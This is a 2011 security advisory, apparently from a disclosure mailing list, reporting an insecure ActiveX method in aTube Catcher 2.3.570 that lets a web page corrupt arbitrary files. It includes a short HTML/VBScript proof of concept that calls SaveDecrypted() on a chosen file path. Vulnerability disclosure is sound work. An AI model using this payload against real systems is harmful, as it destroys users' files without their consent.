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aTube Catcher ActiveX Control Insecure Method
From: advisory () htbridge ch
Date: Wed, 6 Jul 2011 13:23:40 +0200 (CEST)
Vulnerability ID: HTB23013 Reference: http://www.htbridge.ch/advisory/atube_catcher_activex_control_savedecrypted_insecure_method.html Product: aTube Catcher Vendor: Diego Uscanga ( http://atube-catcher.dsnetwb.com ) Vulnerable Version: 2.3.570 and probably prior Tested on: 2.3.570 Vendor Notification: 01 June 2011 Vulnerability Type: ActiveX Control Insecure Method Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered a vulnerability in aTube Catcher, which can be exploited to corrupt arbitrary files. The vulnerability is caused due to the ChilkatCrypt2.ChilkatOmaDrm.1 (ChilkatCrypt2.dll) ActiveX control including the insecure "SaveDecrypted()" method. This can be exploited to corrupt arbitrary files in the context of the currently logged-on user. The following PoC code is available: <html> <object classid='clsid:0B70AB61-5C95-4126-9985-A32531CA8619' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\Filename_to_corrupt" target.SaveDecrypted arg1 End Sub </script> </html>
Current thread:
- aTube Catcher ActiveX Control Insecure Method advisory (Jul 06)